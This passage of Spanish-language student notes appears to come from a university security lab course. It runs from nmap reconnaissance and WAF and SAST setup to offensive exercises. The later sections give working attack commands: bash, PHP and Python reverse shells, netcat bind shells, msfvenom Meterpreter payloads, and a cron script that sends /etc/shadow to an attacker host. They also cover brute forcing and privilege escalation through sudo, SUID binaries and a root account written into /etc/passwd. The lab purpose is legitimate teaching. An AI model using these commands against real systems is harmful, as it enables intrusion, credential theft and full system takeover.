la dirección del objetivo
• skypev2-version, pptp-version e iax2-version (son de tipo versión están
embedidos al resultado de –sV)
nmap --script <archivo script> --script-args <parámetros del script>
⚒ Ejercicio L89B3_INFOGAT: Técnicas de recopilación de información con
NSE
Scripts importantes:
• ssh-auth-methods: localiza los métodos de autenticación aceptados
por un servicio SSH de un objetivo
o sudo nmap -p22 --script ssh-auth-methods <objetivo>
• [Link]: encuentra subdominios asociados con un dominio
principal de una organización
o nmap -p 80 --script [Link] < TARGET URL o IP >
• [Link]: encontrar hosts virtuales en una misma dirección IP
(varios sitios web que están alojados en el mismo servidor web)
o nmap -p 80 --script [Link] < TARGET URL o IP >
• [Link]: proporciona datos de geolocalización de
cada “salto” de esa ruta
o sudo nmap --traceroute --script [Link] -p
80 <objetivo>
• ipgeolocation-geoplugin: geolocalizar una IP
⚒ Ejercicio L89B3_HTTPINFOGAT: Recopilación de información HTTP con
NSE
• sudo nmap -p80 – script http-methods <objetivo>
o Enumera métodos HTTP potencialmente peligrosos.
• nmap --script banner <objetivo>
o información del servicio que proporcionan cuando se conecta
con ellos, lo que se conoce comúnmente como "banner
grabbing"
• [Link]: encuentra rutas válidas en un servidor web por fuerza
bruta para descubrir aplicaciones web que estén en uso
o nmap --script http-enum <objetivo>
o nmap --script http-enum --script-args
[Link]'pub/' <objetivo>
• nmap -- script http-title -sV -p 80 <objetivo>: agrega los títulos de las
páginas web a los resultados de un análisis de NMap para que se
pueda tener un mejor contexto de un host que ejecuta servicios HTTP
• nmap - -script whois-ip –script-args [Link]-arin+ripe+afrinic
<objetivo> : utiliza los datos de la IANA para encontrar una base de
datos WHOIS y localizar la información que queremos
Práctica 8/9 – Bloque 4
⚒ Ejercicio L89B4_SCRIPTSCAN: Escaneando en busca de archivos concretos
#!/bin/bash
for ip_address in 156.35.9{0..9}.{0..255}; do
wget -t 1 -T 5 [Link]
done&
⚒ Ejercicio L89B4_JSSCAN: Endpoints de servicios en archivos JavaScript
Dominio básico:
Incluyendo subdominios:
photon -u [Link] -l 3 -o output_directory
Extraer URL con parámetros
Photon -u [Link] -o output_directory –wayback
Buscar patrones personalizados (regex):
Photon -u [Link] -o output_directory --regex 'your-regex-
pattern'
Extraer archivos específicos:
photon -u [Link] -o output_directory --only-pdf --only-png --
only-xml
Recolección de datos OSINT:
photon -u [Link] -o output_directory --osint
⚒ Ejercicio L89B4_S3SCAN: Buckets de Amazon S3
Photon –u [Link] -regex 'https?://[^/]+\.s3\.amazonaws\.com'
Podría realizarse con la web de uniovi ([Link]) NO usar [Link]
Práctica 10 – Bloque 1
⚒ Ejercicio L10B1_REVPROXY: Apache 2 instalado como un proxy inverso
sudo apt install apache2
sudo a2enmod proxy
sudo a2enmod proxy_http
editar el archivo /etc/apache2/sites-enabled/[Link]
Por ejemplo, puedes redirigir las solicitudes a "/epi" y "/eii" a las IPs indicadas
en la figura de ambos servidores web. Para garantizar un proxy inverso
transparente de las máquinas necesitamos utilizar las directivas ProxyPass y
ProxyPassReverse ([Link]
sobre las IPs de la red interna. Ambos deben apuntar a la misma IP del
servidor correspondiente. Por lo tanto, debemos crear dos entradas Location
en ese archivo con esta estructura, ambas dentro del bloque VirtualHost
existente:
sudo service apache2 restart
Para comprobar que funciona usamos: curl <IP_Proxy>
Práctica 10 – Bloque 2
⚒ Ejercicio L10B2_WAF: Instalación de un WAF
sudo apt install libapache2-mod-security2
Mover y cambiar el nombre desde el proxy del archivo [Link]-
recommended
sudo mv /etc/modsecurity/[Link]-recommended
/etc/modsecurity/[Link]
Desde la MV descagar:
git clone [Link]
Y copiarlo en el directorio /volume_data/rules/
cp -r owasp-modsecurity-crs
Desktop/ssi_labs/lab_sessions/lab_10/volume_data/rules/
Desde el proxy:
cd owasp-modsecurity-crs cp [Link] /etc/modsecurity/crs-
[Link] cp -r rules/ /etc/modsecurity/
cd owasp-modsecurity-crs
sudo cp [Link] /etc/modsecurity/[Link]
sudo cp -r rules/ /etc/modsecurity/
Revisar la configuración del archivo: /etc/apache2/mods-
available/[Link]
Reinicia apache después de esto
Modificar el siguiente archivo:
/etc/apache2/sites-enabled/000- [Link]
NIKTO -> nikto –host <url>
⚒ Ejercicio L10B2_WAFPROT: WAF contra ataques web
XSS
Curl <ip>\-d “<script>alert(‘test’)</script>”
Inyección código SQL
Curl <ip>\-d “DROP DATABASE;”
Práctica 10 – Bloque 3
⚒ Ejercicio L10B3_SASTSCA: Herramienta de detección automatizada de
vulnerabilidades en aplicaciones SonarQube (SAST, con módulo SCA
opcional)
sudo apt install maven
Ejecutar run_sonarqube.sh
Iniciar sesión en [Link] credenciales: admin / admin
Das a esta opción en el panel de Projects
Rellenas la información y creas el proyecto
Generas el token y seleccionas Maven
Este comando es el que tendrás que ejecutar para hacer el escáner
Para ver los problemas de seguridad, en el navegador miramos en la pestaña
de Security Hotspots
⚒ Ejercicio L10B3_DAST: Uso de un DAST contra una aplicación
sudo apt install openjdk-21-jdk
owasp-zap : ejecutar la herramienta
Práctica 11 – Bloque 1
⚒ Ejercicio L11B1_NMAPMSF: NMap y Metasploit Framework (MSF)
Para grabar un escaneo de nmap en un xml hay que hacer
Nmap –oX [Link] <opciones> <objetivo>
En este caso nmap –oX scan_result.xml [Link]
Si no está instalado msf, lo instalamos, no sin antes actualizar nuestra VM:
sudo apt update
sudo apt install metasploit-framework
Iniciamos la base de datos MSF: sudo service postgresql start
Iniciamos MSF: sudo msfdb init
Arrancamos la consola de MSF: msfconsole –q
Desde la consola se pueden usar varios comandos:
⚒ Ejercicio L11B1_DIRB: Enumerar posibles archivos ocultos con información
interesante (T1190. Exploit Public-Facing Application)
Para ejecutar dirb hacemos: dirb <URL_base>
En este caso: dirb [Link]
⚒ Ejercicio L11B1_SMB: Exfiltración a través de directorios compartidos por
SMB (T1190. Exploit Public-Facing Application)
Usaremos la herramiento smbclient.
Para listar los recursos compartidos en un servidor: smbclient -L
//<IP_del_servidor>
Una vez localizado el elemento compartido, nos podemos conectar al
recurso:
smbclient //<IP_del_servidor>/<nombre_recurso_compartido>
Si requiere de autenticación:
smbclient //<IP_del_servidor>/<nombre_recurso_compartido> -U <usuario>
Una vez dentro del recurso, podremos usar un shell. Podremos navegar por
el recurso compartido con “cd” para cambiar de directorio y “ls” para ver
todos los archivos y directorios.
Descargar archivos: smb: \> get <nombre_archivo>
En nuestro caso, la secuencia de ordenes será así:
smbclient -L //[Link]
smbclient //[Link]/GollumShare
cd /etc
get passwd
⚒ Ejercicio L11B1_CEWL: Diccionarios de contraseñas de palabras comunes
contra objetivos concretos (1078. Valid Accounts)
Para ejecutar cewl: cewl [options] <url>
Si queremos conseguir una lista de palabras de 5 letras o más de la web de
EII usamos: cewl -m 5 [Link]
⚒ Ejercicio L11B1_NMAPBRUTE: Fuerza bruta en línea con Nmap (1078. Valid
Accounts)
echo "remotessiuser" > [Link]
nmap --script [Link] --script-args
userdb=[Link],passdb=[Link] <IP_de_la_máquina_vulnerable>
[Link] debe ser un archivo con las palabras que encontramos antes
⚒ Ejercicio L11B2_NETCAT: Netcat como herramienta de escucha (TA1059.
Command and Scripting Interpreter)
Primero hacemos que el puerto escuche: nc –lvp <puerto>
En nuestro caso usaremos el puerto 445: nc –lvp 445
Podemos ver los puertos abiertos con: nmap -F [Link]
Desde otra consola, podemos mandarle una petición al puerto que está
escuchando: telnet <ip> <puerto>
En nuestro caso: telnet [Link] 445
Deberia aparecer algo parecido a esto: connect to [[Link]] from ubuntu-
jammy [[Link]] 45512d
⚒ Ejercicio L11B2_BINDSHELL: Bind shell con netcat (TA1059. Command and
Scripting Interpreter)
Desde victima: nc -lvp 8000 -e /bin/bash
Desde atacante: nc <dirección_IP_remota> <puerto>
Desde atacante: python3 -c "import pty;[Link]('/bin/bash')"
⚒ Ejercicio L11B2_REVERSESHELL: Reverse shell con netcat (TA1059.
Command and Scripting Interpreter)
Desde atacante: nc -lvp 8000
Desde víctima: nc <dirección_IP_remota> <puerto> -e /bin/sh
Desde atacante: python3 -c "import pty;[Link]('/bin/bash')"
⚒ Ejercicio L11B2_REVERSESHELLNONC: Reverse shell sin netcat (TA1059.
Command and Scripting Interpreter)
Aquí en la atacante hay que estar escuchando y los comandos se usan en la
vulnerable
• Bash reverse shell: bash -i >& /dev/tcp/<IP máquina atacante>/8000 0>&1
• PHP reverse shell: Ejecutar esto desde la línea de comandos: php -r
‘$sock=fsockopen(“<IP máquina atacante>”,8000);exec(“/bin/sh -i <&3 >&3
2>&3”);’
• Python reverse Shell: python -c 'import
socket,subprocess,os;s=[Link]
(socket.AF_INET,socket.SOCK_STREAM);[Link]((" <IP máquina atacante>
",8000));
os.dup2([Link](),0);os.dup2([Link](),1);os.dup2([Link](),2);p=[Link](
["/bin/sh","-i"]);’
⚒ Ejercicio L11B2_SEARCHPLOIT: Searchploit (T1203. Exploitation for Client
Execution)
Nmap –sv <IP>
Searchspoit <servicio>
Ejemplo:
Searchsploit httpd 2.4.59
⚒ Ejercicio L11B3_GTFOBINS: GTFOBins para exfiltración de datos
Con la máquina atacante escuchamos por el puerto correspondiente al
comando a ejecutar en la máquina vulnerable: nc –lvp <puerto>
Práctica 12/13 – Bloque 1
⚒️ Ejercicio L12B1_METERPRETER: Meterpreter para explotación (T1569.
System Services)
En la consola de MSF
Workspace: para ver los disponibles (normalmente default)
workspace -a lab12: añadir workspace (-d para eliminarlo)
Para encontrar un exploit podemos usar nmap
db_nmap -sV [Link] (versiones de servicios)
Una vez tengas los servicios y versiones, busca en una base de datos CVE (por
ejemplo , [Link]) los exploits disponibles para los servicios que
encontraste.
Este ejemplo se hace con un posible exploit a Apache 2.4.50 (versión superior
a la instalada en la máquina)
search <palabras clave> : busca en la consola msf posibles exploits, en
nuestro ejemplo: search apache 2.4.50
(Salen rutas a distintos exploits p.e:
exploit/multi/http/apache_normalize_path_rce )
use <ruta exploit> : para utilizar un exploit
show payloads : para listar todos los payloads compatibles
search payload/linux -t reverse : para restringir la búsqueda
(en nuestro caso podemos usar payload/linux/x64/meterpreter/reverse_tcp )
set payload linux/x64/meterpreter/reverse_tcp : para usar el payload
(debemos quitar payload de la ruta)
Info <nombre del exploit> : para consultar información detallada
Para nuestro exploit se necesitan estos parámetros
RHOST: [Link]
LHOST: [Link]
exploit : ejecuta el exploit
(en nuestro caso no va a ocurrir nada pq la versión a la que estaríamos
atacando es inferior a la que tiene ese exploit y no es vulnerable a ello,
tendríamos que buscar exploits para esa versión)
⚒️ Ejercicio L12B1_MULTIHANDLER: Payloads con msfvenom y multi/handler
msfvenom -p php/meterpreter_reverse_tcp LHOST=[Link] LPORT=4444
LHOST=[Link] --platform php --arch php -f raw > [Link]
El comando es para crear un payload en php con las características de la
máquina Ubuntu (esto se hace en la kali)
Así tiene que quedar el PHP
python3 -m [Link] 8000 : para crear un servidor temporal para
descargar el archivo
wget [Link] : en la máquina
Ubuntu para descargar el archivo
(en nuestro caso wget [Link] )
Si no deja con wget : curl -O [Link]
Ahora en la Kali, con la consola de msf usamos:
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set RHOST [Link]
set LHOST [Link]
set LPORT 3000
exploit –j
Entrar en la terminal de meterpreter (Desde msfconsole)
sessions
sessions -i 1
Práctica 12/13 – Bloque 2
⚒️ Ejercicio L12B2_CRONEXFIL: Escalada de privilegios a través de trabajos
cron: Exfiltración de información privada (T1053. Scheduled Task/Job)
chmod o+r /tmp/integrity_check.py
Editar el archivo
Nano /etc/crontab
Ver que scripts ejecuta run-parts
Ejemplo:
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/[Link]
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/[Link] )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/[Link] )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report
/etc/[Link] )
En este caso:
/etc/[Link]
/etc/[Link]
/etc/[Link]
Crear en uno de esos directorios un [Link] con el siguiente contenido:
cat /etc/shadow | base64 | curl -X POST -d @- [Link] atacante>/exfil
Desde el atacante:
nc -lvp 80 > exfil_data.txt
Ejecutar el [Link] (antes darle permisos con chmod +x)
Sudo [Link]
Aparecerá en el kali (atacante) un fichero llamado exfil_data.txt
Práctica 12/13 – Bloque 3
⚒️ Ejercicio L12B3_RSHELLEXIT: Romper restricciones y ocultar actividades
(T1548. Abuse Elevation Control Mechanism)
Para abrir una shell no restringida
sed -n '1e exec sh 1>&0' /etc/hosts
⚒️ Ejercicio L12B3_SUDOEXE: Identificación de programas sudo (T1548.
Abuse Elevation Control Mechanism)
Para ver qué programas podemos ejecutar con sudo:
sudo -l
⚒️Ejercicio L12B3_VALIDACC: Generar una contraseña válida para un usuario
de Linux (T1078. Valid Accounts)
Para crear contraseñas:
mkpasswd
mkpasswd -m SHA-256
Sustituir en /etc/passwd -> Esto serviría para crear un nuevo usuario (de
manera remota, con permisos de root)
<nombre usuario>:<contraseña generada>:0:0:root:/root:/bin/bash
⚒️ Ejercicio L12B3_SUDOSCALE: Escalar privilegios a través de programas
sudo (T1548. Abuse Elevation Control Mechanism)
Si tenemos acceso a apt-get podemos usar
sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
Para escalar privilegios
⚒️ Ejercicio L12B3_SUIDEXE: Identificación de programas SUID (T1548. Abuse
Elevation Control Mechanism)
Para identificar problemas: find / -perm -u=s -type f 2>/dev/null
Para activar bit de SUID: chmod +s <archivo>
⚒️ Ejercicio L12B3_SUIDSCALE: Escalada de privilegios a través de programas
SUID (T1548. Abuse Elevation Control Mechanism)
/bin/bash -p : Para obtener un shell con privilegios (/bin/bash tiene que tener
bit s)
⚒️ Ejercicio L12B3_INSPECTSCALE: Escalada de privilegios potencial a través
de técnicas de inspección ejecutables (T1078. Valid Accounts)
strings <programa> : así podemos ver todos los strings hardcodeados en un
programa